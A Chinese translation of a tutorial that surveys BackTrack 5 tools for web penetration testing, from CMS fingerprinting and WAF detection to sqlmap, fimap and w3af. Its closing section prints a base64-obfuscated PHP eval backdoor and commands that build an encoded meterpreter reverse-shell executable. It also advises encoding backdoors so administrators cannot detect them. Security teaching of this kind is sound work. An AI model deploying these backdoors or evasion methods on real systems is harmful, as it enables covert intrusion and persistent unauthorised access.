使用Backtrack5进行渗透测试和风险评估
Web应用程序的分析在渗透测试和漏洞评估中发挥了重要的作用.确定Web应用程序的正确信息(例如使用的插件,CMS类型等)都可以帮助测试者使用准确的漏洞来测试,能够降低整个渗透测试漏洞评估所花费的时间.
Backtrack 5包含很多渗透测试信息收集所需要的工具.主要有以下几个方面:
CMS Identification(CMS指纹鉴定)
IDS/IPS Detection(IDS/IPS的检测)
Open Source Analysis(开源分析)
Web Crawlers(网络爬虫)
Vulnerability Assessment and Exploitation(脆弱性评估和开发)
Maintaining Access(维护访问)
1)CMS Identification(CMS指纹鉴定):
blindelephant
cms-explorer
whatweb
BlindElephant
BlindElephant是一款基于python的Web应用程序指纹识别工具.这款工具通过扫描某些已知位置的静态文件所使用的版本信息和hashes文件进行比对.Hashes文件中已经提前计算了相关Web应用程序的版本信息.
这款工具的优势是快速,非侵入性,低带宽和高度自动化
使用方法:
root@root:/pentest/web/blindelephant/src/blindelephant#python BlindElephant.py [options] url appName
不知道Web应用程序或者插件的类型,我们可以用猜测的方法.例如;
root@root:/pentest/web/blindelephant/src/blindelephant#python BlindElephant.py http://www.2cto.com wordpress
CMS-Explorer
CMS-Explorer是另外一款Web应用程序指纹识别工具,是用perl脚本编写的.它可以确定使用的CMS类型,然后根据已知的漏洞资料进行攻击.这款工具有几个优势,可以从OSVDB(Open Source Vulnerability Database)中调用漏洞信息检查任何特定插件或者CMS是否存在漏洞.
使用方法:
root@root:/pentest/web/cms-explorer# perl cms-explorer.pl -url target -type type [options]
WhatWeb
WhatWeb可以用来确定服务器使用的CMS、博客平台、统计分析软件包、JavaScript库等.这个工具有超过900个插件用来扫描目标.
使用方法:
root@root:/pentest/web/whatweb# ./whatweb nxadmin.com
列出所有的插件用如下命令:
root@root:/pentest/web/whatweb# ./whatweb -l
2)IDS/IPS detection(IDS/IPS探测):
在域环境下进行风险评估和渗透测试的时候,有可能会遇到有安装IDS/IPS的情况.IDS/IPS有些时候能组织针对域环境的攻击.WAF(Web入侵防御系统)能很好的缓解入侵攻击.
但是WAF是很容易能够检测到的,因为很多使用了基于签名的检测方法,因此攻击者可以通过对攻击参数进行编码来绕过WAF.Backtrack有两款检测IDS/IPS的工具:
waffit
ua-tester
Waffit
Waffit是一款Web应用防火墙检测工具,检测防火墙保护的站点是在渗透测试中非常重要的一步.如果没有对WAF进行配置,有时候可能存在漏洞.在渗透测试和风险评估中分析WAF也是非常重要的.通过编码攻击参数,可以绕过WAF.
使用方法:
root@root:~$python wafw00f.py http://www.target.com/
3)Open-Source Analyses(开源代码分析):
Open-Source Analyses(开放源码分析)可以使用GHDB,revhosts,xssed,maltego.GHDB和XSSed需要进入网站,其它的两款是工具.
GHDB
GHDB(Google Hacking Database)的exploit-db的团队收集了大量漏洞信息库来方便渗透测试人员.我们可以用服务器类型等信息来寻找相关的漏洞.
例如: "Microsoft-IIS/6.0 intitle:index.of"可以用来搜索运行微软iis6.0的服务器.
XSSED
XSSED是另外一个包含大量具有跨站漏洞网站名单的网站,由不同的作者提交.渗透测试人员可以在XSSED的数据库中搜索他们的目标网站,有助于渗透测试和风险评估.
Revhosts
Revhosts是一个被动的信息收集项目,是由python编写的,同样的可以帮助渗透测试人员收集主机,虚拟主机,DNS条目,目录,电子邮件地址,子网等信息.
4)Web Crawlers(网站抓取):
Backtrack 5中有一款Web应用程序分析的网络爬虫工具webshag,它是基于GUI和控制台的程序.可以用来扫描http和https的web服务器,通过代理使用http认证.
webshag有端口扫描,信息收集,爬虫,模糊查询等.
下载地址:http://www.scrt.ch/en/attack/downloads/webshag
5)Vulnerability Assessment and exploitation(风险评估和利用)
风险评估是针对我们扫描到的任何漏洞和BUG进行评估,做风险评估之前收集到有关的目标信息是非常有帮助的.信息收集阶段是进一步攻击之前的关键一步,使用工具会让这项工作比较容易.例如在第一阶段,使用BlindElepha进行CMS的扫描,发现已经安装的应用程序版本是Joomla.在风险评估阶段就可以使用像joomscan来扫描特定的漏洞.如下图:
使用方法:
./joomscan.pl –u www.2cto.com or IP address
joomscan可以扫描到安装的所有插件和相关的漏洞信息,利用这些信息我们可以进一步进行攻击.
sqlmap
sqlmap是一款很不错的进行风险评估的工具.这款工具可以测试目标URL是否存在脆弱性漏洞.下面这个例子中红色框中的参数"Newid"是具有脆弱性漏洞的.使用方法如下:
./sqlmap.py –u nxadmin.com -f
Fimap
Fimap是一款基于python的工具,可以用来发现,代码审计,漏洞利用等.
使用方法:
fimap -u http://www.example.com/index.php?inc=index.php
-u 定义目标URL
扫描一个文本中的所有URL列表,命令如下:
fimap -m -l '/tmp/urlscan.txt'
-m 批量扫描
-l 列表
使用google批量搜索来扫描
fimap.py -g -q 'inurl:include.php'
-g 从Google搜索
-q 表示后面跟的是谷歌搜索的查询条件
fimap可以利用目标漏洞,同时也可以上传交互式的shell.
Xsser
Xsser是一款自动的XSS漏洞检测和利用报告的框架.它配备了绕过过滤器和其它注射方式的选项.
使用方法:
./XSSer.py -u "http://www.2cto.com" -g "Search.php?tfSearch="–referer"666.666.666.666" –user-agent"correctaudit"
这款工具提供了攻击的URL,浏览器和攻击方法等信息,一旦具有漏洞URL被检测完成,我们可以打开网站,检查确认.
theHarvestor
theHarvestor工具用于收集用户的姓名,他们的电子邮件账户,主机名等信息,这款工具有助于渗透测试人员在渗透测试和风险评估的初始阶段使用.
使用方法:
./theHaervester.py –ld [target domain] –d [ data source]
正在提取域和电子邮件相关的网站信息,可以帮助对有关目标的进一步攻击或研究.
Shodan
这是另外一款非常不错的评估工具,可以用来收集目标范围内的信息,比如链接在互联网上的设备,可以搜索任何网络设备,如路由器,网络电话,打印机,摄像等.要搜索在域上运行的任何服务,语法如下:
Hostname:target.com port:80,21,22
或者干脆有关主机名的结果,如:
Hostname:target.com
W3AF
W3af是web代码审计和应用程序渗透测试工具。它分很多个模块,如攻击,审计,开发,暴力破解.所以这些都是可以针对性的使用,例如我们可以选择审计模块的sqli选项,假设我们需要执行审计类的特殊任务.
下图显示了一个目标网站的简要流程图,使得我们更容易理解.
一旦扫描完成,W3AF框架显示有关目标网站的漏洞信息,可以为进一步开发针对性的漏洞利用工具提供帮助.
一旦发现漏洞,我们可以配置插件中的"Exploit"标签,并进行进一步的攻击,它可以帮助我们得到一个目标网站的webshell.另外一个优点是w3af也是Metasploit下的一款工具,扫描的结果可以导出为HTML的格式.
6)Maintaining Access(维持访问):
我们获取一个目标网站的权限之后,为了方便将来访问,我们需要保留一个后门,后门加密编码非常的重要,主要是为了防止被管理员轻易的检测清除掉.
Backtrack 5中上传webshell的经典工具有以下几款:
weevely
Weevely是一款隐蔽的PHP后门.它提供一个类似telnet的链接,链接之后可以执行系统的一些命令.使用动态探测系统绕过PHP的安全性限制.Weevely探测system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()这些函数,使用在远程服务器上启用的函数功能.下面的代码是使用weevely创建一个后门的示例代码:
eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwk YSk7IGlmKHJlc2V0KCRhKT09J2luJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGZv c2VjPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luK GFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9mb3NlYz4nO30='));
使用方法:
创建一个后门
Weevely.py –g –o filename –p password
这样将创建一个具有特定名称和密码保护的后门,上传到目标服务器使用如下命令;
Weevely.py -t -u http:// www.2 cto.com /backdoor.php -p infosec
MsfPayload
Metasploit工具可以用来创建后门,能够维持我们对目标服务器的访问.需要使用到msfpayload这款工具.
我们需要选择有效载荷,将通过反向链接生成一个shell,命令如下:
msf > msfpayload windows/meterpreter/reverse_tcp -R来给输出文件RAW数据格式.
Msf > msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R
Msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode –e x86/shikata_ga_nai –t exe >> infosec.exe
-e可以用来指定需要的编码类型,这本例中使用的shikata_ga_nai编码,-t指定输出文件扩展名类型,本例中为.exe。
总结,以上只不过是几种Web应用程序漏洞利用发现的方法,一旦我们获取有关的信息,我们可以针对Web应用程序进行风险评估,来获得相关的漏洞信息,利用这些漏洞有必要的话可以上传后门.正如文章提到的,最好是经过加密编码的后门,防止被检测到.希望本文有助于你渗透测试,以及后门权限的保持.
原文链接:http://resources.infosecinstitute.com/web-analysis-bt-5/
阿德马童鞋翻译自国外网站
上一篇: 一个简陋的php源码审计辅助脚本